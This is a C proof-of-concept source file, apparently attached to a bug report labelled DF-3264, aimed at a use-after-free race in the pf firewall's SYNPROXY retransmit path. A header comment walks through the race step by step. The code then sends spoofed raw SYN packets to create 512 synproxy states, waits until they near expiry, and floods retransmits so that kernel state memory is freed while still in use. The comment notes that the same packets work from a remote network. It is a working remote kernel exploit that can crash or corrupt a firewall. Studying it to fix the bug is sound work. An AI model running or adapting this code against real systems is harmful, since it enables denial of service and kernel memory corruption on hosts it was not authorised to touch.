DF-3264 / synflood_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-3264 stress trigger — pf_state use-after-free race. * * Mechanism (sys/net/pf/pf.c): * Packet path holds pf_token *shared* (pf_ioctl.c pf_check_in/out). * pf_test_state_tcp() SYNPROXY retransmit path calls pf_send_tcp() * (pf.c:4918), which DROPS pf_token around ip_output (pf.c:2254-2276, * 2289-2291). During that window the pf_purge_thread can acquire the * token exclusively, see that this just-expired state's * pf_state_expires() <= time_second, and unlink+free it * (pf_unlink_state/pf_free_state). When ip_output returns, the netisr * thread continues to use (*state): lockmgr on freed lk (pf.c:5066-67), * seq bookkeeping writes (pf.c:4974-84), pfsync_update_state (5063), * pf_test counters (6712+) -> use-after-free. * * This program: * Phase 1: send N SYNs (one per spoofed source port) to a * `synproxy state` target -> N states in PF_TCPS_PROXY_SRC, * all with expire = T0 and timeout = PFTM_TCP_FIRST_PACKET (120s). * Phase 2: at T0+117s, retransmit all N SYNs at high rate for ~12s so * that the purge sweeps at T0+120 collide with in-flight * pf_send_tcp() windows. * * Requires root only to use a raw socket (emulates an external attacker; * in production the same packets arrive from the network). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NSTATES 512 #define WAIT_SECS 117 /* state expires at +120s (PFTM_TCP_FIRST_PACKET) */ #define FLOOD_SECS 12 static unsigned short cksum(unsigned short *p, int n) { unsigned long s = 0; while (n > 1) { s += *p++; n -= 2; } if (n) s += *(unsigned char *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (unsigned short)(~s); } static void send_syn(int s, in_addr_t src, in_port_t sport, in_addr_t dst, in_port_t dport, uint32_t seq) { char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *ip = (struct ip *)buf; struct tcphdr *th = (struct tcphdr *)(buf + sizeof(struct ip)); struct sockaddr_in sin; memset(buf, 0, sizeof(buf)); ip->ip_v = IPVERSION; ip->ip_hl = sizeof(*ip) >> 2; ip->ip_tos = 0; ip->ip_len = htons(sizeof(buf)); /* DFly raw ip: network order */ ip->ip_id = 1; ip->ip_off = htons(0); ip->ip_ttl = 64; ip->ip_p = IPPROTO_TCP; ip->ip_sum = 0; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; th->th_sport = sport; th->th_dport = dport; th->th_seq = htonl(seq); th->th_ack = 0; th->th_off = sizeof(*th) >> 2; th->th_flags = TH_SYN; th->th_win = htons(8192); th->th_sum = 0; { struct pseudo_hdr { in_addr_t s, d; uint8_t z, p; uint16_t l; } ph; char pbuf[sizeof(struct pseudo_hdr) + sizeof(struct tcphdr)]; ph.s = src; ph.d = dst; ph.z = 0; ph.p = IPPROTO_TCP; ph.l = htons(sizeof(struct tcphdr)); memcpy(pbuf, &ph, sizeof(ph)); memcpy(pbuf + sizeof(ph), th, sizeof(*th)); th->th_sum = cksum((unsigned short *)pbuf, sizeof(pbuf)); } ip->ip_sum = cksum((unsigned short *)buf, sizeof(buf)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst; if (sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) perror("sendto"); } int main(int argc, char **argv) { int s, i, round = 0; in_addr_t dst = inet_addr(argc > 1 ? argv[1] : "127.0.0.2"); in_port_t dport = htons(argc > 2 ? atoi(argv[2]) : 8080); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(SOCK_RAW)"); exit(1); } { int one = 1; setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); } for (;;) { round++; printf("=== round %d: creating %d synproxy states to %s:%u\n", round, NSTATES, inet_ntoa(*(struct in_addr *)&dst), ntohs(dport)); fflush(stdout); for (i = 0; i < NSTATES; i++) send_syn(s, htonl(0x7f000000 | (0x0100 + round)), /* 127.1.x */ htons(20000 + i), dst, dport, 0x1000 + i); printf("sleeping %d s (state expiry at +120 s)\n", WAIT_SECS); fflush(stdout); sleep(WAIT_SECS); printf("flooding %d retransmit SYNs for %d s...\n", NSTATES, FLOOD_SECS); fflush(stdout); { struct timeval tv0, tv1; long usecs; unsigned long n = 0; gettimeofday(&tv0, NULL); do { for (i = 0; i < NSTATES; i++) send_syn(s, htonl(0x7f000000 | (0x0100 + round)), htons(20000 + i), dst, dport, 0x1000 + i); n += NSTATES; gettimeofday(&tv1, NULL); usecs = (tv1.tv_sec - tv0.tv_sec) * 1000000 + tv1.tv_usec - tv0.tv_usec; } while (usecs < (long)FLOOD_SECS * 1000000); printf("sent %lu retransmits in round %d\n", n, round); } fflush(stdout); sleep(2); /* let any corruption materialize */ } /* NOTREACHED */ } |